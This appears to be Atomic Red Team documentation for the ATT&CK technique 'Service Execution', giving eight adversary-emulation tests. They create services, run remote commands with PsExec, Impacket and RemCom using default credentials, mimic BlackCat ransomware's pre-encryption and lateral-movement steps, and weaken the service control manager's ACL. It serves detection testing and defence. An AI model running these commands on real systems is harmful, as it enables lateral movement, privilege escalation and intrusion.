T1569.002

Try it using Invoke-Atomic

System Services: Service Execution

Description from ATT&CK

Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and Net.

PsExec can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as PsExec and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.

Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with Windows Service during service persistence or privilege escalation.

Atomic Tests

Atomic Test #1 - Execute a Command as a Service

Creates a service specifying an arbitrary command and executes it. When executing commands such as PowerShell, the service will report that it did not start correctly even when code executes properly.

Upon successful execution, cmd.exe creates a new service using sc.exe that will start powershell.exe to create a new file

art-marker.txt

BlackCat Ransomware (ALPHV)
Cybereason vs. BlackCat Ransomware

Supported Platforms: windows

auto_generated_guid: 2382dee2-a75f-49aa-9378-f52df6ed3fb1

Inputs:

Name	Description	Type	Default Value
service_name	Name of service to create	string	ARTService
executable_command	Command to execute as a service	string	%COMSPEC% /c powershell.exe -nop -w hidden -command New-Item -ItemType File C:\art-marker.txt

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

sc.exe create #{service_name} binPath= "#{executable_command}"
sc.exe start #{service_name}
sc.exe delete #{service_name}

Cleanup Commands:

del C:\art-marker.txt >nul 2>&1

Atomic Test #2 - Use PsExec to execute a command on a remote host

Requires having Sysinternals installed, path to sysinternals is one of the input input_arguments Will start a process on a remote host.

Upon successful execution, cmd will utilize psexec.exe to spawn calc.exe on a remote endpoint (default:localhost).

Supported Platforms: windows

auto_generated_guid: 873106b7-cfed-454b-8680-fa9f6400431c

Inputs:

Name	Description	Type	Default Value
remote_host	Remote hostname or IP address	string	localhost
user_name	Username	string	DOMAIN\Administrator
password	Password	string	P@ssw0rd1

Attack Commands: Run with command_prompt!

"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{remote_host} -u #{user_name} -p #{password} -accepteula "C:\Windows\System32\calc.exe"

Dependencies: Run with powershell!

Description: PsExec tool from Sysinternals must exist in the ExternalPayloads directory

Check Prereq Commands:

if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") { exit 0} else { exit 1}

Get Prereq Commands:

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force

Atomic Test #3 - psexec.py (Impacket)

Will execute a command on the remote host with Impacket psexec.py script.

Supported Platforms: linux

auto_generated_guid: edbcd8c9-3639-4844-afad-455c91e95a35

Inputs:

Name	Description	Type	Default Value
remote_host	Remote hostname or IP address	string	127.0.0.1
username	Username	string	Administrator
domain	Target domain	string
password	Password	string	P@ssw0rd1
command	Command to execute in target computer	string	whoami

Attack Commands: Run with bash!

psexec.py '#{domain}/#{username}:#{password}@#{remote_host}' '#{command}'

Dependencies: Run with bash!

Description: psexec.py (Impacket)

Check Prereq Commands:

if [ -x "$(command -v psexec.py)" ]; then exit 0; else exit 1; fi;

Get Prereq Commands:

sudo pip3 install impacket

Atomic Test #4 - BlackCat pre-encryption cmds with Lateral Movement

This atomic attempts to emulate the unique behavior of BlackCat ransomware prior to encryption and during Lateral Movement attempts via PsExec on Windows. Uses bundled PsExec like BlackCat

Supported Platforms: windows

auto_generated_guid: 31eb7828-97d7-4067-9c1e-c6feb85edc4b

Inputs:

Name	Description	Type	Default Value
targethost	Target hostname to attempt psexec connection to for emulation of lateral movement.	string	$ENV:COMPUTERNAME

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

cmd.exe /c "wmic 	csproduct 	get UUID" 
cmd.exe /c "fsutil behavior 	set SymlinkEvaluation R2L:1" 
cmd.exe /c "fsutil behavior set 	SymlinkEvaluation R2R:1"
reg    add    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters    /v MaxMpxCt /d 65535 /t REG_DWORD /f      
copy "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" $env:temp
cmd.exe /c "$env:temp\psexec.exe  -accepteula  \\#{targethost} cmd.exe  /c echo "--access-token""

Cleanup Commands:

reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /f
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2L:0" 
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2R:0"
rm $env:temp\psexec.exe

Dependencies: Run with powershell!

Description: PsExec must exist on disk at "PathToAtomicsFolder..\ExternalPayloads\PsExec.exe"

Check Prereq Commands:

if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") {exit 0} else {exit 1}

Get Prereq Commands:

Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
New-Item -ItemType Directory (Split-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") -Force | Out-Null
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force

Atomic Test #5 - Use RemCom to execute a command on a remote host

Requires having RemCom installed, path to RemCom is one of the input input_arguments Will start a process on a remote host. Upon successful execution, cmd will utilize RemCom.exe to spawn calc.exe on a remote endpoint (default:localhost).

Supported Platforms: windows

auto_generated_guid: a5d8cdeb-be90-43a9-8b26-cc618deac1e0

Inputs:

Name	Description	Type	Default Value
remote_host	Remote hostname or IP address	string	localhost
user_name	Username	string	Administrator
password	Password	string	P@ssw0rd1

Attack Commands: Run with command_prompt!

"PathToAtomicsFolder\..\ExternalPayloads\remcom.exe" \\#{remote_host} /user:#{user_name} /pwd:#{password} cmd.exe

Dependencies: Run with powershell!

Description: RemCom tool must exist on disk in the ExternalPayloads folder

Check Prereq Commands:

if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\remcom.exe") { exit 0} else { exit 1}

Get Prereq Commands:

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/kavika13/RemCom/raw/master/bin/Release/RemCom.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\remcom.exe"

Atomic Test #6 - Snake Malware Service Create

The following Atomic Test will create a new service named WerFaultSvc with a binary path of WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe. This was recently seen in the Snake Malware report. Upon execution, sc.exe will create a new service named WerFaultSvc with a bin path \WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe and a display name of WerFault Service. Snake Malware - CISA

Supported Platforms: windows

auto_generated_guid: b8db787e-dbea-493c-96cb-9272296ddc49

Inputs:

None

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

sc.exe create "WerFaultSvc" binPath= "$env:windir\WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe" DisplayName= "WerFault Service" start= auto

Cleanup Commands:

sc.exe delete "WerFaultSvc"

Atomic Test #7 - Modifying ACL of Service Control Manager via SDET

Modify permissions of Service Control Manager via SDSET. This allows any administrative user to escalate privilege and create a service with SYSTEM level privileges.Restart is required. Blog

Supported Platforms: windows

auto_generated_guid: bf07f520-3909-4ef5-aa22-877a50f2f77b

Inputs:

None

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

sc.exe sdset scmanager D:(A;;KA;;;WD)

Atomic Test #8 - Pipe Creation - PsExec Tool Execution From Suspicious Locations

Requires PsExec tool installed. BlackCat Ransomeware tried to propagate by creating pipe using PsExec process executing from suspicious locations (In the particular case the legitimate PsExec executable is embedded within the Windows variant and is dropped in the victim’s %TEMP% directory). pon successful execution, PsExec will be executed from suspicious location and create a new pipe to execute CMD.

Supported Platforms: windows

auto_generated_guid: 004a5d68-627b-452d-af3d-43bd1fc75a3b

Inputs:

None

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

cd C:\Users\Public\Temp\ 
.\PsExec.exe -i -s cmd  -accepteula

Dependencies: Run with powershell!

Description: PsExec tool from Sysinternals must exist in the '\Users\Public\Temp\' directory

Check Prereq Commands:

if (Get-ChildItem -Path C:\ -Include *psexec* -File -Recurse -ErrorAction SilentlyContinue) {exit 0} else {exit 1}

Get Prereq Commands:

New-Item -Type Directory "C:\Users\Public\Temp\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "C:\Users\Public\Temp\PSTools.zip"
Expand-Archive "C:\Users\Public\Temp\PsTools.zip" "C:\Users\Public\Temp\" -Force

source